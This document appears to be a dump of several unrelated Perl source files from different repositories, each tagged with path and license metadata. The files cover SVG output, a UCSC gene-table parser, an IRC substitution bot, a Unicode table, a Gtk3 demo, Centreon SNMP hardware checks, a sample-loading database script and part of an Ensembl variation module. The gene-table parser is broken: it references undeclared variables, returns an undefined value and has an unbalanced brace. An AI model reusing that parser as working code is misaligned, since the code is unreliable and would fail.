require Exporter;
@ISA = qw(Exporter);
@EXPORT_OK = qw(new header open close);
use Svg::Std qw(message_err message_out svgPrint indent newline);
use strict qw( subs vars refs );
@Svg::File::ISA = qw( Svg::Graphics );
# creates new object
# USAGE: my $FileObj = Svg::File->new();
sub new {
my $class = shift;
my $filename =shift;
my $glob = shift || \*SVGOUT;
my $self = {"filename" => $filename, "FileHandle" => $glob};
bless $self, $class;
$self->initGlobals();
$self->init();
$self;
}
# prints standard SVG document header
# N.B. only allowed when the $obj->open() method has the 'noheader' attribute set
# USAGE: $FileObj->header(OPTIONAL [public|encoding_value]);
sub header {
my $self = shift;
$self->{LineNumber}++;
if ($self->{header} =~ /^true$/) {$self->message_err( "Header already defined", $self->{LineNumber} )}
elsif ($self->{header} =~ /^false$/) {
my $type = 0;
my @arguments = @_;
for (my $i=0; $i<@arguments; $i++) {
if ($arguments[$i] =~ /^public$/) {$type = 1;splice(@arguments, $i--, 1)}
}
if (@arguments[0] =~ /^iso-8859-[0-9]{1,2}$/) {
$self->svgPrint("<?xml version=\"1.0\" encoding=\"$arguments[0]\"?>");
} else {
$self->svgPrint("<?xml version=\"1.0\" standalone=\"no\"?>");
}
$self->newline();
if ( $type == 1 ) {$self->svgPrint("<!DOCTYPE svg PUBLIC \"$self->{Public_ID}\" \"$self->{XML_DTD}\">");$self->newline()}
else {$self->svgPrint("<!DOCTYPE svg SYSTEM \"svg.dtd\">");$self->newline()}
$self->{header} = "true";
}
}
# initialises object specific variables [private]
sub initGlobals {
my $self = shift;
$self->{version} = "1.0.1";
$self->{info} = "SVG-pl " . $self->{version};
$self->{copyright} = "Julius Mong, Copyright @ 1999";
$self->{Public_ID} = "-//W3C//DTD SVG 20001102//EN";
$self->{XML_DTD} = "http://www.w3.org/TR/2000/CR-SVG-20001102/DTD/svg-20001102.dtd";
$self->{XML_Link} = "http://www.w3.org/1999/xlink";
$self->{header} = "false";
$self->{LineNumber} = 0;
$self->{ErrorNumber} = 0;
$self->{FilePath} = "";
$self->{Debug} = "false";
$self->{NoNags} = "false";
$self->{InCGI} = "false";
}
# indicates status of object creation [private]
sub init {
my $self = shift;
$self->{LineNumber}++;
}
# opens an output stream specified by user specified filename
# USAGE: $FileObj->open("filename.svg", OPTIONAL [silent|bin|append|noheader|public|debug|encoding]);
sub open {
my $self = shift;
$self->{LineNumber}++;
my $path = $self->{filename};
my $bin = "false";
my $mode = "false";
my $header = "true";
my $public = "private";
my $encoding = "empty";
my @arguments = @_;
if ($path =~ /^cgi$/) {$self->{InCGI} = "true"}
for (my $i=0; $i<@arguments; $i++) {
if ($arguments[$i] =~ /^silent$/) {
$self->{NoNags} = "true";
splice(@arguments, $i--, 1);
}
}
$self->message_out("\n$self->{info} beta release");
$self->message_out("$self->{copyright}\n");
$self->message_out("File object created successfully");
for (my $i=0; $i<@arguments; $i++) {
if ($arguments[$i] =~ /^bin$/) {
$bin = "true";
splice(@arguments, $i--, 1);
} elsif ($arguments[$i] =~ /^append$/) {
$mode = "true";
splice(@arguments, $i--, 1);
} elsif ($arguments[$i] =~ /^noheader$/) {
$header = "false";
splice(@arguments, $i--, 1);
} elsif ($arguments[$i] =~ /^public$/ && $header =~ /^true$/) {
$public = "public";
splice(@arguments, $i--, 1);
} elsif ($arguments[$i] =~ /^encoding$/) {
(my $attrib, $encoding) = splice(@arguments, $i--, 2);
} elsif ( $self->{InCGI} =~ /^false$/ && $arguments[$i] =~ /^debug$/ ) {
open( __EH00, ">>Error.log" ) || $self->message_err( "Cannot open \"Error.log\" for output", $self->{LineNumber} );
$self->{Debug} = "true";
$self->{ErrorHandle} = \*__EH00;
$self->message_out("Error log created successfully");
my @time = localtime(time);
my @months = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);
my $filetime = "$time[2]:$time[1]:$time[0] - $time[3] $months[$time[4]] $time[5]";
print __EH00 "***** BEGIN $filetime *****";
splice(@arguments, $i--, 1);
}
}
if (@arguments > 0) {$self->message_err("unrecognised argument(s) or value(s) - @arguments", $self->{LineNumber})}
if ($self->{InCGI} =~ /^false$/) {
if( !ref($path) ) {
rename($path,"$path\~") if( -w $path && $self->{pdf_make_file_backup} );
if ($mode =~ /^true$/) {open( $self->{FileHandle}, ">>$path" ) || $self->message_err( "Cannot open svg file \"$path\" for output", $self->{LineNumber} )}
else {open( $self->{FileHandle}, ">$path" ) || $self->message_err( "Cannot open svg file \"$path\" for output", $self->{LineNumber} )}
if ($bin =~ /^true$/) {binmode $self->{FileHandle}}
} else {
$self->{FileHandle} = $path;
}
$self->{FilePath} = $path;
}
if ($header =~ /^true$/) {@arguments = $self->header($public,$encoding)}
}
# closes output stream of the current object
# USAGE: $FileObj->close();
sub close {
my $self = shift;
my $fh = ${$self->{FileHandle}};
if ($self->{InCGI} =~ /^false$/) {
foreach (@_) {
my $other = $_;
$other->{LineNumber}++;
for (my $i=@{$other->{inQueue}}-1; $i>=0; $i--) {
# if (!($other->{inBoundary} =~ /^empty$/)) {
# print $fh "\n</$other->{inBoundary}>";
$other->message_err("closing tag for boundary \"$other->{inBoundary}\" missing", $other->{LineNumber}, "</$other->{inBoundary}> assumed");
$other->e();
# }
# $other->{inBoundary} = ${$other->{inQueue}}[$i];
}
if ($other->{ErrorNumber} != 0) {$self->message_out(" ")}
$self->message_out("\nExecution completed - SVG document \"$self->{FilePath}\" generated successfully");
$self->message_out("\nTotal number of statements executed: $other->{LineNumber}");
$self->message_out("Total number of errors encountered: $other->{ErrorNumber}");
if ($self->{Debug} =~ /^true$/) {
$self->message_out("Error messages appended to end of \"Error.log\"");
}
} # close g objects
$self->newline();
close $fh or $self->message_err($!);
if ($self->{Debug} =~ /^true$/) {
my $eh = ${$self->{ErrorHandle}};
print $eh "\n***** END *****\n\n";
$self->{Debug} = "false";
close $eh or $self->message_err($!);
}
} # if CGI
}
1; # Perl notation to end a module | ablifedev/ABLIRC | ABLIRC/bin/Clip-Seq/ABLIFE/svg/Svg/File.pm | Perl | mit | 6,481 |
package GAL::Parser::ucsc_gene_table;
use strict;
use vars qw($VERSION);
$VERSION = 0.2.0;
use base qw(GAL::Parser);
use GAL::Reader::DelimitedLine;
=head1 NAME
GAL::Parser::ucsc_gene_table - Parse UCSC gene table files.
knownGene.txt
refGene.txt
ccdsGene.txt
wgEncodeGencodeManualV4.txt
vegaGene.txt
ensGene.txt
=head1 VERSION
This document describes GAL::Parser::ucsc_gene_table version 0.2.0
=head1 SYNOPSIS
my $parser = GAL::Parser::ucsc_gene_table->new(file => 'ucsc_gene_table.txt');
while (my $feature_hash = $parser->next_feature_hash) {
print $parser->to_gff3($feature_hash) . "\n";
}
=head1 DESCRIPTION
L<GAL::Parser::ucsc_gene_table> provides a parser for UCSC_GENE_TABLE data.
=head1 Constructor
New L<GAL::Parser::ucsc_gene_table> objects are created by the class method
new. Arguments should be passed to the constructor as a list (or
reference) of key value pairs. All attributes of the
L<GAL::Parser::ucsc_gene_table> object can be set in the call to new. An
simple example of object creation would look like this:
my $parser = GAL::Parser::ucsc_gene_table->new(file => 'ucsc_gene_table.txt');
The constructor recognizes the following parameters which will set the
appropriate attributes:
=over 4
=item * C<< file => feature_file.txt >>
This optional parameter provides the filename for the file containing
the data to be parsed. While this parameter is optional either it, or
the following fh parameter must be set.
=item * C<< fh => feature_file.txt >>
This optional parameter provides a filehandle to read data from. While
this parameter is optional either it, or the following fh parameter
must be set.
=back
=cut
#-----------------------------------------------------------------------------
=head2 new
Title : new
Usage : GAL::Parser::ucsc_gene_table->new();
Function: Creates a GAL::Parser::ucsc_gene_table object;
Returns : A GAL::Parser::ucsc_gene_table object
Args : See the attributes described above.
=cut
sub new {
my ($class, @args) = @_;
my $self = $class->SUPER::new(@args);
return $self;
}
#-----------------------------------------------------------------------------
sub _initialize_args {
my ($self, @args) = @_;
######################################################################
# This block of code handels class attributes. Use the
# @valid_attributes below to define the valid attributes for
# this class. You must have identically named get/set methods
# for each attribute. Leave the rest of this block alone!
######################################################################
my $args = $self->SUPER::_initialize_args(@args);
my @valid_attributes = qw(file fh); # Set valid class attributes here
$self->set_attributes($args, @valid_attributes);
######################################################################
}
#-----------------------------------------------------------------------------
=head2 parse_record
Title : parse_record
Usage : $a = $self->parse_record();
Function: Parse the data from a record.
Returns : A hash ref needed by Feature.pm to create a Feature object
Args : A hash ref of fields that this sub can understand (In this case GFF3).
=cut
sub parse_record {
my ($self, $record) = @_;
# bin name chrom strand txStart txEnd cdsStart cdsEnd
# exonCount exonStarts exonEnds score name2 cdsStartStat
# cdsEndStat exonFrames
my $feature_id = $record->{name};
my $seqid = $record->{chrom};
my $source = 'UCSC';
my $type = 'mRNA';
my $start = $record->{txStart};
my $end = $record->{txEnd};
my $score = $record->{score};
my $strand = $record->{strand};
my $phase = '.';
my $attributes = {ID => [$feature_id]};
$attributes->{Dbxref} = [$record->{name2}] if $record->{name2};
my $transcript = {feature_id => $feature_id,
seqid => $seqid,
source => $source,
type => $type,
start => $start,
end => $end,
score => $score,
strand => $strand,
phase => $phase,
attributes => $attributes,
};
my @features = ($transcript);
my @exon_starts = split ',', $record->{exonStarts};
my @exon_ends = split ',', $record->{exonEnds};
if (@exon_starts != scalar @exon_ends) {
$self->warn('mis_matched_exon_start_ends',
"Mismatched exon starts and ends $name",
);
}
my @exon_pairs;
for my $i (0 .. scalar @exon_starts - 1) {
my ($start, $end) = ($exon_starts[$i], $exon_ends[$i]);
if ($start > $end) {
$self->warn('negative_length_exon',
"Negative length exon ($name, $start, $end)"
);
}
if ($start == $end) {
$self->warn('zero_length_exon',
"Zero length exon : $name, $start, $end"
);
}
push @exon_pairs, [$start, $end];
}
if ($self->any_overlaps(@exon_pairs)) {
$self->warn('exons_overlap',
"Exons overlap $name",
);
}
my @cds_pairs;
for my $pair (@exon_pairs) {
last if $cdsEnd - $cdsStart < 3; #Dont allow a CDS < 3nt long.
my ($start, $end) = @{$pair};
next if $end < $cdsStart;
last if $start > $cdsEnd;
$start = $cdsStart if ($start < $cdsStart && $end > $cdsStart);
$end = $cdsEnd if ($start < $cdsEnd && $end > $cdsEnd);
push @cds_pairs, [$start, $end];
}
my $exons = $self->build_child_features(parent => $transcript,
type => 'exon',
coordinates => \@exon_pairs
);
my $CDSs = $self->build_child_features(parent => $transcript,
type => 'CDS',
coordinates => \@cds_pairs
);
push @features, (@{$exons}, @{$CDSs});
return $feature;
}
#-----------------------------------------------------------------------------
=head2 reader
Title : reader
Usage : $a = $self->reader
Function: Return the reader object.
Returns : A GAL::Reader::DelimitedLine singleton.
Args : None
=cut
sub reader {
my $self = shift;
if (! $self->{reader}) {
my @field_names = qw(bin name chrom strand txStart txEnd cdsStart
cdsEnd exonCount exonStarts exonEnds score name2
cdsStartStat cdsEndStat exonFrames);
my $reader = GAL::Reader::DelimitedLine->new(field_names => \@field_names);
$self->{reader} = $reader;
}
return $self->{reader};
}
#-----------------------------------------------------------------------------
sub any_overlaps {
my ($self, $pairs) = @_;
for my $i (0 .. scalar @{@pairs} - 1) {
my $pair_i = $pairs->[$i];
for my $j (0 .. scalar @pairs - 1) {
next if $i == $j;
my $pair_j = $pairs->[$j];
# Return 1 unless these two don't overlap
return 1 unless ($pair_i->[1] < $pair_j->[0] or
$pair_i->[0] > $pair_j->[1]);
}
}
# We never overlaped so return false
return 0;
}
#-----------------------------------------------------------------------------
sub build_child_features {
my %args = @_;
my $parent = $args{parent};
my $type = $args{type};
my $coords = $args{coordinates};
my $parent_id = $parent->{feature_id};
my @features;
my $count;
for my $pair (@{$coords}) {
my ($start, $end) = @{$pair};
my %feature = %{$parent};
my $attributes = {gene_id => [$parent_id],
transcript_id => [$parent_id],
};
@feature{qw(type start end attributes)} =
($type, $start, $end, $attributes);
push @features, \%feature;
}
}
return \@features;
}
#-----------------------------------------------------------------------------
=head1 DIAGNOSTICS
L<GAL::Parser::ucsc_gene_table> does not throw any warnings or errors.
=head1 CONFIGURATION AND ENVIRONMENT
L<GAL::Parser::ucsc_gene_table> requires no configuration files or
environment variables.
=head1 DEPENDENCIES
L<GAL::Parser>
L<GAL::Reader::DelimitedLine>
=head1 INCOMPATIBILITIES
None reported.
=head1 BUGS AND LIMITATIONS
No bugs have been reported.
Please report any bugs or feature requests to:
barry.moore@genetics.utah.edu
=head1 AUTHOR
Barry Moore <barry.moore@genetics.utah.edu>
=head1 LICENCE AND COPYRIGHT
Copyright (c) 2010-2014, Barry Moore <barry.moore@genetics.utah.edu>. All
rights reserved.
This module is free software; you can redistribute it and/or
modify it under the same terms as Perl itself (See LICENSE).
=head1 DISCLAIMER OF WARRANTY
BECAUSE THIS SOFTWARE IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE SOFTWARE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT
WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER
PARTIES PROVIDE THE SOFTWARE "AS IS" WITHOUT WARRANTY OF ANY KIND,
EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
SOFTWARE IS WITH YOU. SHOULD THE SOFTWARE PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR, OR CORRECTION.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE SOFTWARE AS PERMITTED BY THE ABOVE LICENCE, BE LIABLE
TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL, OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
SOFTWARE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE SOFTWARE TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
=cut
1;
| 4ureliek/TEanalysis | Lib/GAL/Parser/ucsc_gene_table.pm | Perl | mit | 9,606 |
use 5.020;
package Bot::BasicBot::Pluggable::Module::Substitution {
our $VERSION = '0.01';
use parent 'Bot::BasicBot::Pluggable::Module';
sub help {
"Handles s///"
}
sub told {
my ($self, $msg) = @_;
my $nick = $msg->{who};
my $channel = $msg->{channel};
if ($msg->{body} =~ m{\bs/([^/]+)/([^/]+)/?}) {
my ($pattern, $replacement) = ($1, $2);
my $orig = $self->get("sub_$nick$channel");
if ($orig) {
my $new;
if ($msg->{body} =~ m{\bs/[^/]+/[^/]+}g) {
$new = $orig =~ s/$pattern/$replacement/gr;
} else {
$new = $orig =~ s/$pattern/$replacement/r;
}
if ($new ne $orig) {
$self->set("sub_$nick$channel" => $new);
return "$nick meant to say: $new";
}
}
} else {
$self->set("sub_$nick$channel" => $msg->{body});
}
return;
}
}
1;
| tadzik/golbot | Bot/BasicBot/Pluggable/Module/Substitution.pm | Perl | mit | 1,054 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 12.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this file are subject to change without notice. Don't
# use it directly. Use Unicode::UCD to access the Unicode character data
# base.
return <<'END';
V28
2817
2820
2821
2829
2831
2833
2835
2857
2858
2865
2866
2868
2869
2874
2876
2885
2887
2889
2891
2894
2902
2904
2908
2910
2911
2916
2918
2936
END
| operepo/ope | client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/Sc/Orya.pl | Perl | mit | 631 |
#!/usr/bin/env perl
use Gtk3 '-init';
my $window = Gtk3::Window->new();
$window->set_title('AspectFrame');
$window->set_default_size(200, 200);
$window->signal_connect('destroy' => sub {Gtk3->main_quit});
my $label = Gtk3::Label->new('Label in a Frame');
my $aspectframe = Gtk3::AspectFrame->new('AspectFrame', 0, 0, 1.0, 0);
$aspectframe->set_border_width(5);
$aspectframe->add($label);
$window->add($aspectframe);
$window->show_all();
Gtk3->main();
| Programmica/perl-gtk3-examples | aspectframe.pl | Perl | cc0-1.0 | 457 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package network::hirschmann::standard::snmp::mode::components::fan;
use strict;
use warnings;
my %map_fan_status = (
1 => 'ok',
2 => 'failed',
);
# In MIB 'hmpriv.mib'
my $mapping = {
hmFanState => { oid => '.1.3.6.1.4.1.248.14.1.3.1.3', map => \%map_fan_status },
};
sub load {
my ($self) = @_;
push @{$self->{request}}, { oid => $mapping->{hmFanState}->{oid} };
}
sub check {
my ($self) = @_;
$self->{output}->output_add(long_msg => "Checking fans");
$self->{components}->{fan} = {name => 'fans', total => 0, skip => 0};
return if ($self->check_filter(section => 'fan'));
foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$mapping->{hmFanState}->{oid}}})) {
next if ($oid !~ /^$mapping->{hmFanState}->{oid}\.(.*)$/);
my $instance = $1;
my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$mapping->{hmFanState}->{oid}}, instance => $instance);
next if ($self->check_filter(section => 'fan', instance => $instance));
$self->{components}->{fan}->{total}++;
$self->{output}->output_add(long_msg => sprintf("fan '%s' status is %s [instance: %s].",
$instance, $result->{hmFanState},
$instance
));
my $exit = $self->get_severity(section => 'fan', value => $result->{hmFanState});
if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) {
$self->{output}->output_add(severity => $exit,
short_msg => sprintf("fan '%s' status is %s",
$instance, $result->{hmFanState}));
}
}
}
1; | wilfriedcomte/centreon-plugins | network/hirschmann/standard/snmp/mode/components/fan.pm | Perl | apache-2.0 | 2,576 |
#!/usr/bin/env perl
use strict;
use warnings;
use Text::Delimited;
use Getopt::Long;
use BioSD;
use DBI;
use List::Util qw();
my $sample_file = '/nfs/1000g-archive/vol1/ftp/technical/working/20130606_sample_info/20130606_sample_info.txt';
my $biosample_group = 'SAMEG305842';
my ($dbname, $dbhost, $dbuser, $dbport, $dbpass) = ('igsr_website_v2', 'mysql-igsr-web', 'g1krw', 4641, undef);
&GetOptions(
'sample_file=s' => \$sample_file,
'biosample_group=s' => \$biosample_group,
'dbpass=s' => \$dbpass,
'dbport=s' => \$dbport,
'dbuser=s' => \$dbuser,
'dbhost=s' => \$dbhost,
'dbname=s' => \$dbname,
);
my %biosamples;
foreach my $biosample (@{BioSD::fetch_group($biosample_group)->samples}) {
$biosamples{$biosample->property('Sample Name')->values->[0]} = $biosample;
}
my $dbh = DBI->connect("DBI:mysql:$dbname;host=$dbhost;port=$dbport", $dbuser, $dbpass) or die $DBI::errstr;
my $insert_sql = 'INSERT INTO sample (name, biosample_id, population_id, sex)
SELECT name, b_id, pop, sex FROM
(SELECT ? AS name, ? AS b_id, population_id AS pop, ? AS sex FROM population where code=?) AS s2
ON DUPLICATE KEY UPDATE biosample_id=s2.b_id, population_id=pop, sex=s2.sex';
my $sth = $dbh->prepare($insert_sql) or die $dbh->errstr;
my %samples;
my $sample_fh = new Text::Delimited;
$sample_fh->delimiter("\t");
$sample_fh->open($sample_file) or die "could not open $sample_file $!";
while( my $line = $sample_fh->read) {
my $biosample = $biosamples{$line->{Sample}};
my $sex = $line->{Gender} ? uc(substr($line->{Gender}, 0, 1)) : undef;
$sth->bind_param(1, $line->{Sample});
$sth->bind_param(2, $biosample->id);
$sth->bind_param(3, $sex);
$sth->bind_param(4, $line->{Population});
my $rv = $sth->execute() or die $sth->errstr;
}
$sample_fh->close();
=pod
=head1 NAME
igsr-code/scripts/elasticsearch/populate_samples.mysql.pl
=head1 SYNONPSIS
This is how samples originally entered the mysql database. This script was written because the best source of sample information (in April 2016) was the text-delimited file /nfs/1000g-archive/vol1/ftp/technical/working/20130606_sample_info/20130606_sample_info.txt
This is what the script does:
Fetches the biosamples group SAMEG305842 using the xml API. This is to find the biosamples id of each sample.
For each sample in the file, create a new row in the sample table. On duplicate keys, it updates the row in the sample table.
This script should probably never be used again for loading samples. New data collections to IGSR will have different sources of information. At best, this script could be a template for what a sample-loading script might look like.
=cut
| igsr/igsr-code | scripts/elasticsearch/populate_samples.mysql.pl | Perl | apache-2.0 | 2,703 |
#
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package network::redback::snmp::mode::components::psu;
use strict;
use warnings;
my %map_psu_status = (
1 => 'normal',
2 => 'failed',
3 => 'absent',
4 => 'unknown',
);
# In MIB 'RBN-ENVMON.mib'
my $mapping = {
rbnPowerDescr => { oid => '.1.3.6.1.4.1.2352.2.4.1.2.1.2' },
rbnPowerStatus => { oid => '.1.3.6.1.4.1.2352.2.4.1.2.1.4', map => \%map_psu_status },
};
my $oid_rbnPowerStatusEntry = '.1.3.6.1.4.1.2352.2.4.1.2.1';
sub load {
my ($self) = @_;
push @{$self->{request}}, { oid => $oid_rbnPowerStatusEntry };
}
sub check {
my ($self) = @_;
$self->{output}->output_add(long_msg => "Checking power supplies");
$self->{components}->{psu} = {name => 'psus', total => 0, skip => 0};
return if ($self->check_filter(section => 'psu'));
foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$oid_rbnPowerStatusEntry}})) {
next if ($oid !~ /^$mapping->{rbnPowerStatus}->{oid}\.(.*)$/);
my $instance = $1;
my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$oid_rbnPowerStatusEntry}, instance => $instance);
next if ($self->check_filter(section => 'psu', instance => $instance));
next if ($result->{rbnPowerStatus} =~ /absent/i &&
$self->absent_problem(section => 'psu', instance => $instance));
$self->{components}->{psu}->{total}++;
$self->{output}->output_add(long_msg => sprintf("Power supply '%s' status is %s [instance: %s].",
$result->{rbnPowerDescr}, $result->{rbnPowerStatus},
$instance
));
my $exit = $self->get_severity(section => 'psu', value => $result->{rbnPowerStatus});
if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) {
$self->{output}->output_add(severity => $exit,
short_msg => sprintf("Power supply '%s' status is %s",
$result->{rbnPowerDescr}, $result->{rbnPowerStatus}));
}
}
}
1; | Sims24/centreon-plugins | network/redback/snmp/mode/components/psu.pm | Perl | apache-2.0 | 2,944 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Copyright [2016-2017] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY kind, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=cut
=head1 NAME
Bio::EnsEMBL::Variation::TranscriptVariationAllele
=head1 SYNOPSIS
use Bio::EnsEMBL::Variation::TranscriptVariationAllele;
my $tva = Bio::EnsEMBL::Variation::TranscriptVariationAllele->new(
-transcript_variation => $tv,
-variation_feature_seq => 'A',
-is_reference => 0,
);
print "sequence with respect to the transcript: ", $tva->feature_seq, "\n";
print "sequence with respect to the variation feature: ", $tva->variation_feature_seq, "\n";
print "consequence SO terms: ", (join ",", map { $_->SO_term } @{ $tva->get_all_OverlapConsequences }), "\n";
print "amino acid change: ", $tva->pep_allele_string, "\n";
print "resulting codon: ", $tva->codon, "\n";
print "reference codon: ", $tva->transcript_variation->get_reference_TranscriptVariationAllele->codon, "\n";
print "PolyPhen prediction: ", $tva->polyphen_prediction, "\n";
print "SIFT prediction: ", $tva->sift_prediction, "\n";
=head1 DESCRIPTION
A TranscriptVariationAllele object represents a single allele of a TranscriptVariation.
It provides methods that are specific to the sequence of the allele, such as codon,
peptide etc. Methods that depend only on position (e.g. CDS start) will be found in
the associated TranscriptVariation. Ordinarily you will not create these objects
yourself, but instead you would create a TranscriptVariation object which will then
construct TranscriptVariationAlleles based on the allele string of the associated
VariationFeature.
Note that any methods that are not specific to Transcripts will be found in the
VariationFeatureOverlapAllele superclass.
=cut
package Bio::EnsEMBL::Variation::TranscriptVariationAllele;
use strict;
use warnings;
use Bio::EnsEMBL::Variation::ProteinFunctionPredictionMatrix qw($AA_LOOKUP);
use Bio::EnsEMBL::Utils::Exception qw(throw warning);
use Bio::EnsEMBL::Variation::Utils::Sequence qw(hgvs_variant_notation format_hgvs_string get_3prime_seq_offset);
use Bio::EnsEMBL::Utils::Sequence qw(reverse_comp);
use Bio::EnsEMBL::Variation::Utils::VariationEffect qw(overlap within_cds within_intron stop_lost start_lost frameshift stop_retained);
use base qw(Bio::EnsEMBL::Variation::VariationFeatureOverlapAllele Bio::EnsEMBL::Variation::BaseTranscriptVariationAllele);
our $DEBUG = 0;
our $NO_TRANSFER = 0;
sub new_fast {
my ($class, $hashref, $strong) = @_;
# swap a transcript_variation argument for a variation_feature_overlap one
if ($hashref->{transcript_variation}) {
$hashref->{variation_feature_overlap} = delete $hashref->{transcript_variation};
}
# and call the superclass
return $class->SUPER::new_fast($hashref, $strong);
}
=head2 transcript_variation
Description: Get/set the associated TranscriptVariation
Returntype : Bio::EnsEMBL::Variation::TranscriptVariation
Exceptions : throws if the argument is the wrong type
Status : Stable
=cut
sub transcript_variation {
my ($self, $tv) = @_;
assert_ref($tv, 'Bio::EnsEMBL::Variation::TranscriptVariation') if $Bio::EnsEMBL::Utils::Scalar::ASSERTIONS && $tv;
return $self->variation_feature_overlap($tv);
}
=head2 variation_feature
Description: Get the associated VariationFeature
Returntype : Bio::EnsEMBL::Variation::VariationFeature
Exceptions : none
Status : Stable
=cut
sub variation_feature {
my $self = shift;
return $self->transcript_variation->variation_feature;
}
=head2 affects_peptide
Description: Check if this changes the resultant peptide sequence
Returntype : boolean
Exceptions : None
Caller : general
Status : At Risk
=cut
sub affects_peptide {
my $self = shift;
return scalar grep { $_->SO_term =~ /stop|missense|frameshift|inframe|initiator/ } @{$self->get_all_OverlapConsequences};
}
=head2 pep_allele_string
Description: Return a '/' delimited string of the reference peptide and the
peptide resulting from this allele, or a single peptide if this
allele does not change the peptide (e.g. because it is synonymous)
Returntype : string or undef if this allele is not in the CDS
Exceptions : none
Status : Stable
=cut
sub pep_allele_string {
my ($self) = @_;
my $pep = $self->peptide;
return undef unless $pep;
my $ref_pep = $self->transcript_variation->get_reference_TranscriptVariationAllele->peptide;
return undef unless $ref_pep;
return $ref_pep ne $pep ? $ref_pep.'/'.$pep : $pep;
}
=head2 codon_allele_string
Description: Return a '/' delimited string of the reference codon and the
codon resulting from this allele
Returntype : string or undef if this allele is not in the CDS
Exceptions : none
Status : Stable
=cut
sub codon_allele_string {
my ($self) = @_;
my $codon = $self->codon;
return undef unless $codon;
my $ref_codon = $self->transcript_variation->get_reference_TranscriptVariationAllele->codon;
return $ref_codon.'/'.$codon;
}
=head2 display_codon_allele_string
Description: Return a '/' delimited string of the reference display_codon and the
display_codon resulting from this allele. The display_codon identifies
the nucleotides affected by this variant in UPPER CASE and other
nucleotides in lower case
Returntype : string or undef if this allele is not in the CDS
Exceptions : none
Status : Stable
=cut
sub display_codon_allele_string {
my ($self) = @_;
my $display_codon = $self->display_codon;
return undef unless $display_codon;
my $ref_display_codon = $self->transcript_variation->get_reference_TranscriptVariationAllele->display_codon;
return undef unless $ref_display_codon;
return $ref_display_codon.'/'.$display_codon;
}
=head2 peptide
Description: Return the amino acid sequence that this allele is predicted to result in
Returntype : string or undef if this allele is not in the CDS or is a frameshift
Exceptions : none
Status : Stable
=cut
sub peptide {
my ($self, $peptide) = @_;
$self->{peptide} = $peptide if $peptide;
unless(exists($self->{peptide})) {
$self->{peptide} = undef;
return $self->{peptide} unless $self->seq_is_unambiguous_dna;
if(my $codon = $self->codon) {
# the codon method can set the peptide in some circumstances
# so check here before we try an (expensive) translation
return $self->{peptide} if $self->{peptide};
my $tv = $self->base_variation_feature_overlap;
# for mithocondrial dna we need to to use a different codon table
my $codon_table = $tv->_codon_table;
# check the cache
my $pep_cache = $main::_VEP_CACHE->{pep}->{$codon_table} ||= {};
if(!($self->{is_reference} && scalar @{$tv->_seq_edits}) && ($self->{peptide} = $pep_cache->{$codon})) {
return $self->{peptide};
}
# translate the codon sequence to establish the peptide allele
# allow for partial codons - split the sequence into whole and partial
